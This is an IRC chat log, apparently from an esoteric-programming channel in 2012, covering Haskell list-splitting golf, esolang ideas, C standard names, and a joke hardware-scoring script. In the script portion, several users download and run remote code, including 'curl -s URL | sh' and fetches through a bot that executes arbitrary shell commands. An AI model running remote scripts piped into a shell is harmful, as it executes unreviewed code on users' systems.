14:12:27 <elliott> "I understand that wikipedia is reluctant to allow its self to be used as a source, but, how can we expect others to take us seriously if we ourselves do not?"
14:22:26 <Slereah> Have you read your SICP today?
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14:44:10 <elliott> RocketJSquirrel: Well, yeah.
14:51:08 <elliott> RocketJSquirrel isn't happy enough.
14:52:33 <elliott> @tell ais523 Stop appearing where I least expect you!
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15:04:34 <fizzie> I picked a random pixel but from a subjectively more or less "representative" region.
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15:05:04 <fizzie> With emphasis on the 'more or less'.
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15:05:20 <elliott> Well, the colours are certainly "close" in an objective sense, it's just that e.g. the bottom-right one looks more like a strangely dark lime than the reality of a lime of the same colour with a shadow over it.
15:05:30 <elliott> That's what happens when you don't have any detail :P
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15:06:34 <mroman_> there is a two dimensional language with multi-threading support, right?
15:07:18 <elliott> THere are probably several.
15:07:21 <fizzie> I'm tempted to mention ATHR at this juncture.
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15:09:43 <fizzie> "Bloated SNUSP" has concurrency too.
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15:13:42 <mroman_> I'm thinking of something based on circuits
15:15:50 <elliott> There are a few circuity esolangs.
15:15:57 <fizzie> I would think at least some of those support "multithreading" by virtue of everything happening globally so you can have two copies of the same thing and they'll run simultaneously.
15:18:29 <mroman_> I.e you send an information package around
15:18:57 <mroman_> and then you have stations which can inspect packages and stuff like that.
15:19:16 <mroman_> if "+" receives a package, it waits five ticks for another package to arrive
15:19:44 <mroman_> and sends a new package with the new information
15:20:22 <mroman_> also... that repackaging costs time
15:20:31 <mroman_> so i.e it takes 1 tick to do that
15:21:22 <mroman_> which results in a LOT of timing issues while programming in that language :)
15:21:54 <mroman_> you may need to add extra delays to slow packages down if one would arrive too fast
15:23:38 <mroman_> and packages can crash together :)
15:25:07 <mroman_> (if they cross their ways in the two dimensional space)
15:25:12 <mroman_> which might be very often.
15:25:25 <mroman_> if you can only store data in travelling packages :)
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15:36:09 <mroman_> http://fpaste.org/v7Lg/ <- like that
15:36:25 <mroman_> read takes a package, empties it and fills it with stin
15:36:35 <mroman_> > copies the package and sends the copy to the right
15:36:36 <lambdabot> Not in scope: `copies'Not in scope: `the'Not in scope: `package'Not in scop...
15:36:42 <mroman_> the original package passes through it
15:37:03 <elliott> It sounds sufficiently similar to My name is Johny, what the F**K????? that I'll just accuse you of plagiarism without trying to understand it :P
15:38:12 <elliott> My name is Johny, what the F**K????? is the name of the esolang I'm legally obligated to create per the Deleted Spam Pages on Esolang Act of 2011.
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17:13:15 <nortti> what was the time when I left this channel and what was my quit message?
17:18:54 <nortti> good thing my connection works again. When I used nmap -sO on my router my network connection went away for 20 seconds or so
17:21:09 <Deewiant> nortti: Logs are linked to in the topic
17:23:00 <nortti> oh. That's pretty neat
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17:48:45 <elliott> `run grep ais523 /var/irclogs/_esoteric/2012-03-??.txt | paste
17:48:50 <HackEgo> http://codu.org/projects/hackbot/fshg/index.cgi/raw-file/tip/paste/paste.31451
17:50:22 <elliott> > (\ps -> foldr (zipWith (++)) ([] <$ ps) . map (\x -> map (\p -> x <$ guard (p x)) ps) [even, odd] [0..]
17:50:22 <lambdabot> <no location info>: parse error (possibly incorrect indentation)
17:50:32 <elliott> > (\ps -> foldr (zipWith (++)) ([] <$ ps) . map (\x -> map (\p -> x <$ guard (p x)) ps)) [even, odd] [0..]
17:50:56 <elliott> > (\ps -> foldr (zipWith (++)) ([] <$ ps) . map (\x -> map (\p -> x <$ guard (p x)) ps)) [even, odd] [0..100]
17:50:57 <lambdabot> [[0,2,4,6,8,10,12,14,16,18,20,22,24,26,28,30,32,34,36,38,40,42,44,46,48,50,...
17:51:01 <elliott> > (\ps -> foldr (zipWith (++)) ([] <$ ps) . map (\x -> map (\p -> x <$ guard (p x)) ps)) [even, odd] [0..1000]
17:51:02 <lambdabot> [[0,2,4,6,8,10,12,14,16,18,20,22,24,26,28,30,32,34,36,38,40,42,44,46,48,50,...
17:51:23 <elliott> > let filterMulti fs xs = go (reverse xs) (repeat []) where go [] acc = acc ; go (y:ys) acc = go ys $ zipWith (\f a -> if f y then y:a else a) fs acc in filterMulti [even, odd] [0..1000]
17:51:24 <lambdabot> [[0,2,4,6,8,10,12,14,16,18,20,22,24,26,28,30,32,34,36,38,40,42,44,46,48,50,...
17:51:26 <elliott> > let filterMulti fs xs = go (reverse xs) (repeat []) where go [] acc = acc ; go (y:ys) acc = go ys $ zipWith (\f a -> if f y then y:a else a) fs acc in filterMulti [even, odd] [0..]
17:51:43 <elliott> > take 10 . head $ (\ps -> foldr (zipWith (++)) ([] <$ ps) . map (\x -> map (\p -> x <$ guard (p x)) ps)) [even, odd] [0..]
17:51:49 <elliott> > take 10 . head $ (\ps -> foldr (zipWith (++)) ([] <$ ps) . map (\x -> map (\p -> x <$ guard (p x)) ps)) [even, odd] [0..]
17:52:26 <nortti> what programming language is that?
17:52:50 <lambdabot> <no location info>: parse error (possibly incorrect indentation)
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18:06:09 <nortti> `run wget http://tsundere.fi/b/vpenis.sh
18:06:12 <HackEgo> --2012-03-24 18:06:12-- http://tsundere.fi/b/vpenis.sh \ Connecting to 127.0.0.1:3128... failed: Connection refused.
18:06:35 <fizzie> There's a fetch for that.
18:06:53 <nortti> `run fetch http://tsundere.fi/b/vpenis.sh
18:06:56 <HackEgo> bash: fetch: command not found
18:07:04 <HackEgo> Runs arbitrary code in GNU/Linux. Type "`<command>", or "`run <command>" for full shell commands. "`fetch <URL>" downloads files. Files saved to $PWD are persistent, and $PWD/bin is in $PATH. $PWD is a mercurial repository, "`revert <rev>" can be used to revert to a revision. See http://codu.org/projects/hackbot/fshg/
18:07:16 <nortti> `fetch http://tsundere.fi/b/vpenis.sh
18:07:19 <HackEgo> 2012-03-24 18:07:19 URL:http://tsundere.fi/b/vpenis.sh [317/317] -> "vpenis.sh" [1]
18:07:50 <nortti> `run chmod 755 vpenis.sh
18:08:12 <HackEgo> ./vpenis.sh: 2: bc: not found \ df: cannot read table of mounted file systems: No such file or directory
18:08:14 <elliott> Protip: Whatever you do won't help.
18:08:25 <fizzie> elliott: It's a thing.
18:08:27 <elliott> Oh, that's not trying to be a crack.
18:08:37 <elliott> I was assuming it was one of the: "'sploits" the "kids" were doing "these days".
18:08:57 <nortti> I am trying to run vpenis.sh on HackBot
18:09:09 <fizzie> Sadly, it does assume some sanity from the surrounding system.
18:10:36 <fizzie> There's also been a bit of a length inflation in vpenii these days.
18:11:20 <nortti> It calculates length of virtual penis from processor speed, amount of free memory, disks and uptime
18:11:41 <fizzie> s/calculates/tries to calculate/
18:11:47 <elliott> Well, you know what they say. Obsession of the man is one of the most unknown and frightful phenomena, which stops evolutionary development of the man and brings its to full spiritual (and often to physical) death.
18:13:11 <fizzie> I get 174.1cm at work, 237.1cm at home, and 3383.1cm on the university's shell server. Someone should maybe adjust the constants slightly to match Moore's length. I mean, law.
18:13:37 <elliott> $ curl http://tsundere.fi/b/vpenis.sh | sh
18:13:37 <elliott> % Total % Received % Xferd Average Speed Time Time Time Current
18:13:37 <elliott> Dload Upload Total Spent Left Speed
18:13:37 <elliott> 100 317 100 317 0 0 75 0 0:00:04 0:00:04 --:--:-- 2990
18:13:37 <elliott> sh: line 2: bc: command not found
18:13:41 <elliott> I guess my system isn't: sane.
18:13:51 <fizzie> A lack of 'bc' is very much not sane.
18:13:59 <fizzie> What, you do all your calculating with dc?
18:14:06 <nortti> fizzie: when I ran it on my computer, that is quite obsolete these days after I made it work on Darwin it showed that length of my vpenis is 7633.9cm
18:14:08 <fizzie> (Okay, that's reasonable. But still.)
18:14:23 <elliott> fizzie: I use Google as my calculator. :p
18:14:34 <elliott> $ curl -s http://tsundere.fi/b/vpenis.sh | sh
18:14:43 <elliott> Well, it's not how big it is, it's how you use it.
18:14:44 <fizzie> IIRC it gives rather a lot weight on dick space. I mean, disk space.
18:14:46 <nortti> I could try to make vpenis.sh dc compatible
18:15:12 <fizzie> And of course the uptime thing makes it fluctuate.
18:15:45 <nortti> fizzie: I have just 40GB disk, but my uptime is something like 120 days
18:17:00 <elliott> elliott@solidity:~$ curl -s http://tsundere.fi/b/vpenis.sh | sh
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18:18:22 <fizzie> The bit where it gives a *2 score when the dick, I mean disk, devices have "/dev/scsi" or "/dev/sd" in them is also pretty obsoletated now that IDE disks are 'sdX' too. Not to mention that my /dev/mapper/ LVM things then don't match.
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18:18:32 <nortti> elliott: did you install bc or is that another machine?
18:19:06 <elliott> <elliott> $ curl -s http://tsundere.fi/b/vpenis.sh | sh
18:19:11 <elliott> But solidity is the server Esolang runs on.
18:19:15 <elliott> Which has dc already, apparently.
18:19:23 <fizzie> fis@iris:~/mem$ sh vpenis.sh
18:19:31 <fizzie> (That's the Atom box.)
18:19:52 <elliott> Quick, someone try it on one of those plug computers.
18:20:14 <fizzie> All the uptime ratings are zeros here thanks to yesterday's electricity break.
18:20:54 <fizzie> fis@selene:~$ sh vpenis.sh
18:21:00 <fizzie> The prgmr VPS managed to go even lower.
18:21:12 <fizzie> That's up 104 days, doesn't seem to help much.
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18:21:47 <Deewiant> And cat: cannot open /proc/cpuinfo: No such file or directory
18:22:13 <nortti> Deewiant: what OS are you running?
18:22:20 <Deewiant> And sh: line 2: bc: command not found
18:22:43 <Deewiant> And sh: line 2: bc: command not found
18:22:54 <Deewiant> That was desktop, fileserver, firewall, and laptop, respectively
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18:23:08 <Deewiant> nortti: And the non-Linux one was Solaris 11
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18:23:46 <Deewiant> 130.4cm on the laptop after installing bc
18:23:59 <fizzie> I'd try it on that silly NAS disk-share box I have, but it's not on, and it's not exactly maybe worth it.
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18:24:29 <nortti> Deewian: I'll post the version that doesn't requite /proc shortly
18:24:43 <Deewiant> Ah, it's the -x nfs that's presumably failing
18:24:44 <fizzie> The bit from cpuinfo is "sum of cpu MHz lines / 30".
18:25:00 <Deewiant> df -P -k -x nfs most definitely includes my NFS :-P
18:25:46 <Deewiant> nortti: -x nfs4 required, I guess
18:26:02 <fizzie> Heh, it reports 3726.3cm at work if I don't have "-x nfs" in.
18:26:24 <elliott> <fizzie> fis@selene:~$ sh vpenis.sh
18:26:24 <elliott> <fizzie> The prgmr VPS managed to go even lower.
18:26:27 <Deewiant> Still probably counts things multiple times
18:26:30 <elliott> fizzie: Ha, my Linode is "teh superiore", as they say.
18:26:37 <Deewiant> As I have "rootfs" and "/dev/root" in that
18:27:06 <fizzie> Deewiant: There's all kinds of tmpfs things, too, that arguably should maybe not count.
18:27:53 <fizzie> The bit it needs cpuinfo for is "sum of 'cpu MHz:' lines / 30", which means turning on hyperthreading can double your vpenis size -- well, the CPU part of it -- overnight.
18:27:56 <Deewiant> df -P -k -x nfs -x nfs4 -x tmpfs -x devtmpfs -x rootfs
18:29:05 <Deewiant> On Triton I get (standard_in) 1: syntax error
18:29:28 <fizzie> Deewiant: That's when you have something that gets represented in exponential notation.
18:30:14 <fizzie> By awk, somewhere. Probably in the disk space.
18:30:36 <fizzie> Deewiant: E.g. check out this thing:
18:30:38 <fizzie> [htkallas@pc112 ~]$ sh vpenis.sh
18:30:42 <fizzie> [htkallas@pc112 ~]$ ls /share/work/{htkallas,itniemin,mniemenm} >/dev/null 2>&1
18:30:45 <fizzie> [htkallas@pc112 ~]$ sh vpenis.sh
18:30:48 <fizzie> (standard_in) 1: syntax error
18:30:53 <fizzie> Automounting the work disk three times was too much for it.
18:32:06 <fizzie> 3.5864e+06/15 would've yielded you 23909.3 cm.
18:32:10 <elliott> What is it with Finns and their having Finnish names?
18:33:40 <Deewiant> 924.8cm with -x nfs -x lustre. :-P
18:33:50 <nortti> Deewiant: but it must be executed with -x nfs. Otherwise it is not real vpenis.sh
18:34:14 <Deewiant> -x nfs is just a bit arbitrary.
18:34:18 <elliott> Deewiant: Oh, this is on that cluster thing?
18:34:37 <elliott> I mean, that's more plausible than a Finnish home user using NFS, but you never know with them Finns.
18:34:40 <Deewiant> If you want to get rid of remote filesystems, there are more types than that, which seems to include only NFSv3. And then there's the tmpfs stuff mentioned earlier.
18:35:07 <Deewiant> The 23909.3 / 25942.6 was on the cluster.
18:35:27 <Deewiant> 2028.6 at home, without -x nfs4.
18:36:14 <Deewiant> And 3726.3 at work from fizzie.
18:36:22 <nortti> wait. Does free command show free memory size in mb?
18:36:29 <elliott> Deewiant: See, you *are* weird.
18:36:49 <Deewiant> nortti: If you just use free, it's in kilobytes.
18:36:53 <fizzie> I used to have some sort of NFS setup at home, too, though not these days. I think it was when I had that sparc.
18:37:08 <Deewiant> elliott: What else should I use on a file server? :-P
18:37:16 <nortti> shit. I calculated my vpenis assuming that is is in mb
18:37:23 <fizzie> Deewiant: Samba, for all your Windows clients.
18:37:41 <Deewiant> fizzie: Yes, but preferably not for my non-Windows clients, methinks.
18:39:15 <fizzie> I have the ~/www/ directory (that maps to β.zem.fi/~fis) shared over Samba, for no particular reason. Though it does have the dubious benefit that after setting up "create mask = 0644" for that share, I never have to remember to chmod files I copy there.
18:40:06 <fizzie> (Samba has those "Unix extensions" things going on, I think you can make it work reasonably well.)
18:40:44 <Deewiant> Would it be an improvement to use it instead of NFSv4? :-P
18:41:17 <nortti> Deewian: does your solaris system have free command?
18:41:20 <fizzie> Mmmaybe not. Though the NFS setup *I* had did break down occasionally.
18:41:56 <Deewiant> % curl -s http://tsundere.fi/b/vpenis.sh | sh
18:41:56 <Deewiant> cat: cannot open /proc/cpuinfo: No such file or directory
18:41:58 <Deewiant> awk: illegal statement near line 1
18:42:08 <Deewiant> Usage: df [-F FSType] [-abeghklntPVvZ] [-o FSType-specific_options] [directory | block_device | resource]
18:43:31 <fizzie> Deewiant: On kosh.org.aalto.fi, it's all "df: `/m/work/a800': Permission denied" for umpzillion lines, but does at least manage to yield a result.
18:43:42 <fizzie> kosh ~ 798 % mount | wc -l
18:43:45 <fizzie> That's a lot of mounts.
18:43:53 <Deewiant> fizzie: What's the vpenis length there?
18:44:24 <elliott> <Deewiant> elliott: What else should I use on a file server? :-P
18:44:32 <elliott> Deewiant: I don't know, surely there's something better than NFS by 2012.
18:44:46 <fizzie> Deewiant: 3384.7cm; all the "nfs4" mounts (the not-"nfs" ones) give "permission denied" and thus are not counted.
18:44:59 <elliott> I mean, NFS doesn't even have atomic mkdir!
18:45:10 <nortti> Deewiant: does http://paste.dy.fi/rbV work on your solaris system
18:45:28 <Deewiant> The ZFS stuff on solaris supports NFS (and Samba) directly, which is the main reason why I used that.
18:46:03 <nortti> *http://paste.dy.fi/rbV/plain
18:46:45 <Deewiant> nortti: http://sprunge.us/eSgC
18:47:21 <fizzie> Deewiant: kosh.org.aalto.fi gets 3120 cm of the length from the 96 gigs of RAM it has.
18:47:50 <fizzie> Want to run it on one of the Triton fat nodes?
18:48:16 <nortti> Deewiant: you must download it to a file and after that you can run it
18:48:18 <fizzie> That should give about 35000 cm for RAM, except it might awk-break again.
18:48:51 <Deewiant> Well, it's awk-breaking already due to the df stuff, so I need to printf-ify the awk again.
18:49:24 <fizzie> nortti: You've typoed "MHz" as "HMz" on the line.
18:49:37 <fizzie> nortti: And you can't just count MHz itself, you need to multiply it by the number of cores.
18:49:38 <Deewiant> One permission denied error from df and 29921.8cm
18:50:19 <nortti> fizzie: I created that version for one core machines
18:56:14 <fizzie> Deewiant: Oh, it's so "short" because it's looking at the "used" column, not total.
18:56:29 <fizzie> total used free shared buffers cached
18:56:29 <fizzie> Mem: 1058759152 166124920 892634232 0 251540 15493068
18:57:08 <elliott> Does it use the right line?
18:57:16 <elliott> (i.e. without buffers/cached)
18:59:49 <nortti> Deewiant: http://paste.dy.fi/rGD/plain
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19:03:16 <Deewiant> nortti: http://sprunge.us/ZRfV
19:04:44 <Deewiant> nortti: I'll spoil it for you: that file has DOS newlines hence the complaints about ^M, and your sed and awk usage require GNU sed and GNU awk (so gsed and gawk).
19:05:53 <Deewiant> Oh, I missed the last sed invocation: that's 6207.3.
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19:44:44 <elliott> #haskell just spent ~10 minutes trying to fix someone's $PATH.
19:48:42 <mroman_> I'll kill you with my language based on binary trees .
19:51:20 <elliott> Hmm, I have this horrible temptation to bring my silly language into existence.
19:54:09 <zzo38> What silly language do you mean?
19:54:39 <elliott> If I tell you, it'll start existing. :(
19:55:54 <elliott> This is a very interesting email: http://www.coyotos.org/pipermail/bitc-dev/2012-March/003300.html
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20:09:28 <shachaf> elliott: HELP MY DOLLAR PATH IS BROKE
20:10:09 -!- oerjan has joined.
20:10:25 <shachaf> fix $PATH = $PATH:$(fix $PATH)
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20:11:42 <shachaf> oerjan: Tell elliott to tell you to ban me.
20:14:29 <shachaf> elliott: Is it just me, or is little-endian "00 0b" != 11?
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20:30:14 <oerjan> I have concluded that today is slightly cursed by forces trying to attract my infuriation, the recent wiki events being merely the latest example. Experience tells me that the only cure for such is to refuse to get involved, which I will promptly put into action.
20:30:43 <oerjan> oh, also, to get enough sugar intake.
20:30:59 * oerjan sips his orange juice.
20:32:09 <oerjan> is it any wonder i keep putting on weight.
20:32:18 <shachaf> elliott: What a spheroidal argument you're having.
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20:35:33 <oerjan> <elliott> fizzie: Hey, golf me a function to turn [ [ [1], [], [2] ], [ [3,4], [5], [7] ] ] into [ [1,3,4], [5], [2,7] ].
20:35:53 <oerjan> > map concat . transpose $ [ [ [1], [], [2] ], [ [3,4], [5], [7] ] ]
20:36:09 <elliott> oh, that's better than what i ended up with.
20:36:16 <elliott> i forget why i didn't try that.
20:36:25 <elliott> filterN ps = foldr (zipWith (++)) ([] <$ ps) . map (\x -> map (\p -> x <$ guard (p x)) ps)
20:36:31 <elliott> is the end result of the thing that sparked that question.
20:36:45 <elliott> (i am offering prizes for people who figure out what it does without :t.)
20:37:09 <oerjan> elliott: i thought i saw just a bunch of foldr's so thought i'd still have a fighting chance :P
20:37:28 <elliott> I think that transpose might make it less lazy
20:38:39 <oerjan> > transpose [1:2:undefined,[3,4],[5,6]]
20:38:40 <lambdabot> [[1,3,5],[2,4,6]*Exception: Prelude.undefined
20:38:52 <elliott> > transpose (repeat [1,2])
20:38:53 <lambdabot> [[1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1...
20:39:20 <elliott> > let filterN ps = map concat . transpose . map (\x -> map (\p -> x <$ guard (p x)) ps) in filterN [even, odd] [1..10]
20:39:39 <elliott> ok, now there's just that ugly map to take care of.
20:39:53 <elliott> > let filterN ps = map concat . transpose . map (\x -> [x <$ guard (p x) | p <- ps]) in filterN [even, odd] [1..10]
20:39:57 <elliott> i suppose that's marginally nicer.
20:40:57 <elliott> > let filterN ps = transpose . map (\x -> map (\p -> x <$ guard (p x)) ps) in filterN [even, odd] [1..10]
20:40:58 <lambdabot> No instance for (GHC.Show.Show (f a))
20:40:58 <lambdabot> arising from a use of `M7605977044...
20:41:07 <elliott> > let filterN ps = transpose . map (\x -> map (\p -> x <$ guard (p x)) ps) in filterN [even, odd] [1..10] :: [[[Integer]]]
20:41:09 <lambdabot> [[[],[2],[],[4],[],[6],[],[8],[],[10]],[[1],[],[3],[],[5],[],[7],[],[9],[]]]
20:41:22 <elliott> > let filterN ps = transpose . map (\x -> map (\p -> x <$ guard (p x)) ps) in filterN [even, odd] [1..10] :: [[Maybe Integer]]
20:41:23 <lambdabot> [[Nothing,Just 2,Nothing,Just 4,Nothing,Just 6,Nothing,Just 8,Nothing,Just ...
20:41:32 <elliott> > let filterN ps = map catMaybes . transpose . map (\x -> map (\p -> x <$ guard (p x)) ps) in filterN [even, odd] [1..10] :: [[Maybe Integer]]
20:41:33 <lambdabot> No instance for (GHC.Real.Integral
20:41:35 <elliott> > let filterN ps = map catMaybes . transpose . map (\x -> map (\p -> x <$ guard (p x)) ps) in filterN [even, odd] [1..10] :: [[Integer]]
20:41:39 <elliott> > let filterN ps = map catMaybes . transpose . map (\x -> map (\p -> x <$ guard (p x)) ps) in filterN [even, odd] [1..10] :: [[Integer]]
20:42:50 <oerjan> oh it's supposed to work for more than the list monad?
20:43:25 <elliott> i'm just trying to come up with a pretty implementation of [a -> Bool] -> [a] -> [[a]]
20:43:29 <elliott> with the obvious presented semantics
20:43:38 <elliott> i didn't think that last one was aesthetically pleasing enough.
20:43:42 <elliott> > let filterN ps = map catMaybes . transpose . map (\x -> map (\p -> x <$ guard (p x)) ps) in filterN [even, odd] [1..] :: [[Integer]]
20:43:44 <lambdabot> [[2,4,6,8,10,12,14,16,18,20,22,24,26,28,30,32,34,36,38,40,42,44,46,48,50,52...
20:43:49 <elliott> yay, at least that works now
20:45:07 <elliott> > let filterN ps = transpose . map catMaybes . map (\x -> map (\p -> x <$ guard (p x)) ps) in filterN [even, odd] [1..] :: [[Integer]]
20:45:09 <lambdabot> [[1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,2...
20:46:09 <oerjan> > (flip . map filter) [even, odd] [1..10]
20:47:14 <elliott> oerjan: um yes that's obvious.
20:47:22 <elliott> oerjan: it traverses the list multiple times.
20:47:24 <oerjan> > (sequence . map filter) [even, odd] [1..10] -- slightly more portable, i think
20:47:27 <elliott> (and therefore has bad space usage.)
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20:48:20 <tswett> Sgeo_: hey, can you do something for me?
20:48:36 <Sgeo_> Depends on what that thing is
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20:50:36 <oerjan> tswett is now seeking for someone else to hide the body.
20:50:47 <tswett> Sgeo_: try ending all your sentences with periods for a while.
20:51:11 <Sgeo_> What about interrogative sentences?.
20:51:32 <tswett> I'm just going to say that ? incorporates a little period in it.
20:52:13 <Sgeo_> So, I can't use American-style quotes?
20:52:28 <Sgeo_> "The quick brown fox jumps over the lazy dog.".
20:52:31 <elliott> One of them is stupid and nobody should use them.
20:52:49 <Sgeo_> Quote mark after puctuation.
20:52:59 <Sgeo_> But since tswett wants me to end sentences with periods...
20:53:13 <elliott> Quote mark after punctuation is abominable, unless the punctuation itself is part of the quote.
20:53:18 <elliott> Anyone who does it should be "shot."
20:53:28 <oerjan> like shot, but more final.
20:53:32 <Sgeo_> "How are you?", she asked.
20:54:21 <elliott> I'm going to kill that comma.
20:54:39 <elliott> That's like "Oranges, ate sam." Okay, maybe it's not so bad.
20:54:44 <elliott> But I'm eyeing it suspiciously.
20:55:57 <elliott> Yes, maybe it does; but I'm still allowed to be suspicious of it.
21:04:31 <oerjan> > let filterN ps = transpose . map catMaybes . map ((<$)<$>guard.p<$>ps) in filterN [even, odd] [1..10]
21:04:32 <lambdabot> Couldn't match expected type `[Data.Maybe.Maybe a]'
21:04:48 <lambdabot> The operator `Data.Functor.<$>' [infixl 4] of a section
21:11:54 <zzo38> I agree; punctuations marks should be inside of the quotation marks only in case the punctuation is part of a quotation.
21:12:29 <zzo38> (Sometimes known as "British style" or "logical style")
21:13:41 <pikhq> And then there's "programmer style". This is a nice example: "I for one think punctuation is attached to a sentence, so it shouldn't really be dropped just because it's in a quote.".
21:20:18 <oerjan> > let filterN ps = transpose . map catMaybes . map ((<$> ps) . flip (((<$)<$>).(guard.)) in filterN [even, odd] [1..10]
21:20:19 <lambdabot> <no location info>: parse error on input `in'
21:20:21 <itidus21> "How are you?/0what a boring day *hic*", she asked.
21:20:32 <oerjan> > let filterN ps = transpose . map catMaybes . map ((<$> ps) . flip (((<$)<$>).(guard.))) in filterN [even, odd] [1..10]
21:20:33 <lambdabot> Couldn't match expected type `Data.Maybe.Maybe a'
21:20:57 <elliott> you certainly managed to make it more.
21:21:05 <elliott> more elegant, I'm not so sure about.
21:21:42 <nortti> Deewiant: I was away watching Stargate SG-1. The dos newlines thing is quite interesting. (The script was written for Linux, and after that I ported it for Darwin 8/OS X 10.4 so it might misbehave in Solaris.) Do you have any idea why gawk and gsed don't try to emulate standard wak and sed behavior when called with those name?
21:22:01 <Deewiant> gawk and gsed are GNU awk and sed
21:22:08 <oerjan> :t (((<$)<$>).(guard.))
21:22:09 <lambdabot> forall (f :: * -> *) b (f1 :: * -> *) (m :: * -> *). (Functor f, Functor f1, MonadPlus m) => f1 Bool -> f1 (f b -> f (m ()))
21:22:34 <fizzie> Deewiant: And gquack is the GNU duck.
21:23:32 <nortti> Deewiant: I meant on systems like Linux and OS X so there wouldn't be so much portability issues
21:24:00 <Deewiant> I think it depends on your specific system
21:26:04 <nortti> Do GNU versions of standard unix utilities like awk, sed and make sometimes emulate standard behavior?
21:26:51 <Deewiant> awk seems to have --compat/--traditional
21:27:31 <Deewiant> Can't see anything similar for make
21:27:50 <fizzie> GNU bash has that posix mode auto-enabled when you call it "sh".
21:27:54 <nortti> why isn't is then the standard behavior if they are called awk and sed?
21:28:26 <nortti> fizzie: I think awk, sed, make and all those programs should do the same
21:28:39 <fizzie> And do you also think GCC should disable extensions by default?
21:29:48 <elliott> GNU would be fun if it tried to be perfectly compatible by default.
21:29:53 <nortti> fizzie: I think that it should disable them if it gets called cc, but use them if called gcc
21:29:57 <elliott> By "fun", I mean "agonising", because 80s Unix was shitty as all hell.
21:30:12 <elliott> nortti: surely you mean c89/c90
21:30:22 <elliott> whatever; the POSIX defined things
21:30:32 <elliott> I don't think POSIX guarantees cc has no extensions
21:30:35 <fizzie> I suppose the same "should" apply for GNU tar.
21:30:51 <nortti> elliott: c90 is the same as c89
21:31:11 <fizzie> I see only "c99" in POSIX.
21:31:17 <fizzie> It "shall accept source code conforming to the ISO C standard".
21:31:22 <fizzie> Well, POSIX 2008, anyway.
21:31:26 <elliott> nortti: They are not the same byte strings.
21:31:31 <elliott> POSIX only defines one, I believe.
21:31:41 <elliott> fizzie: Right, but didn't POSIX exist before 1999?
21:32:30 <nortti> elliott: c89 and c90 are the same standard, but one is c89 is ANSI standard and c90 is ISO standard
21:32:57 <elliott> I am talking about the commands standardised by POSIX.
21:34:36 <fizzie> FreeBSD man pages have "c89 - POSIX.2 C language compiler", so I suppose it was that.
21:34:50 <fizzie> Can't be bothered to try locating a more authoritative source.
21:35:28 <tswett> "So, elliott," tswett says, "it seems like you would object to my use of commas here."
21:36:05 <fizzie> "So,,, elliott,,",,, says, fizzie,,, ",,, do you think there are ,,enough,, commas here,",,
21:38:08 <nortti> T,,,,,,,,,,,,,,,,,,,,,h,,,,,,,,,,,,,,,,,,,,,e,,,,,,,,,,,,,,,,,,,r,,,,,,,,,,,,,e,,,,,,,,,,,,,,,,,,,,,,, ,,,,,,,,,,,,,,,,s,,,,,,,,,,,,,h,,,,,,,,,,,,,o,,,,,,,,,,,,,,,,,,u,,,,,,,,,,,,,,,,,l,,,,,,,,,,,, ,,,,,,,,,,,,,b,,,,,,,,,,e,,,,,,,,, ,,,,,,,,,,,,,,,,,,m,,,,,,,,,,,,,o,,,,,,,,r,,,,,,,,,,,,,,,,,,e,,,,,,,,,,,,,, ,,,,,,,,,,c,,,,,,,,,,,,,,o,,,,,,,,,,,,,,,,m,,,,,,,,,,,,,,,,,,m,,,,,,,,,,,,,a,,,,,,,,,,,,,,s
21:38:20 <elliott> ,,,,,,,,,,,,,,,,,,,,,,,,,,,,
21:38:37 <fizzie> The funniest. g++ has a "-std=c++1y" for "[t]he next revision of the ISO C++ standard, tentatively planned for 2017".
21:38:50 <tswett> > length ",,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,"
21:38:52 <fizzie> I suppose "c++1x" would've been too confusing, since "c++0x" came out in 1x.
21:39:10 <fizzie> But it's a clever solution to just bump the letter up.
21:39:16 <tswett> > length ",,,,,,,,,,,,,,,,,,,,,,,,,,,,"
21:39:21 <tswett> elliott: you're short by five.
21:39:23 <lambdabot> Couldn't match expected type `GHC.Types.Int'
21:39:28 <fizzie> When "c++1y" comes out in 2021, they'll probably call the next one "c++2z".
21:39:43 <nortti> why the couldn't just call it c++11?
21:40:26 <fizzie> Because that's the one that came out in 2011?
21:40:35 <elliott> fizzie: And after that they'll be screwed.
21:40:49 <elliott> > "c++3" ++ [chr (ord 'z' + 1)]
21:41:19 <fizzie> Then "c++4|" which will have some quoting-related problems here and there.
21:41:43 <fizzie> After c++6~, though...
21:42:00 <oerjan> c++3{ the most disturbing smiley
21:43:54 <Deewiant> Or maybe we'll be Unicode enough by then that c++7␡ is acceptable.
21:45:35 <fizzie> Deewiant: In Unicode 72 they've probably removed the "Control Pictures" block because the word "control" is politically incorrect.
21:46:04 <elliott> nortti: Keyword "tentatively".
21:46:07 <pikhq> fizzie: This is the standard unwilling to change typos in codepoint names.
21:46:13 <elliott> C++0x was planned for 200x, after all.
21:46:27 <fizzie> "Tentatively" in the sense of "not".
21:46:58 <fizzie> The fact that it has an 'x' (or 'y') in it is also a good reminder it's not final.
21:48:40 <fizzie> They don't seem to have a name yet for whatever will be after c11.
21:49:36 <elliott> c99, c11... Must be c22 next.
21:50:25 <Deewiant> They skipped c00 for that to make sense, so I'd guess c23.
21:53:13 <nortti> elliott: no next one is c26. 90->99 is 9 (3*3) years and 99->11 is 12 (4*3) years, so next will be 11->26 (5*3)
21:53:29 <Deewiant> elliott: c99 -> c11 is 12 years, c11 -> c23 is also 12 years.
21:53:46 <Deewiant> elliott: c99, c00, c11, c22 would make sense if they wanted double digits.
21:54:13 <nortti> Deewiant: but what about c90->c99?
21:54:44 <Deewiant> Yours is the only progression thus far that works for that too.
21:54:51 <fizzie> Deewiant: http://www.wolframalpha.com/input/?i=plot+%283%2F2%29*x%5E2%2B%2815%2F2%29*x%2B1990+for+x%3D0..4 suggests 2044.
21:55:01 <Deewiant> If c00 existed, we could discount c90 as a fluke since it was the first release. :-P
21:55:09 <fizzie> Whoops, I skipped one.
21:55:11 <Deewiant> And then the double digits thing would still be acceptable.
21:55:45 <elliott> <Deewiant> elliott: c99, c00, c11, c22 would make sense if they wanted double digits.
21:55:58 <elliott> Deewiant: Well, obviously they skip it if there's not enough time to prepare a new spec.
21:56:02 <elliott> It could be c33, aftera ll.
21:56:15 <Deewiant> elliott: Then they should've waited for it instead of doing c99.
21:56:29 <elliott> Deewiant: Who are *you* to tell the committee what to do?
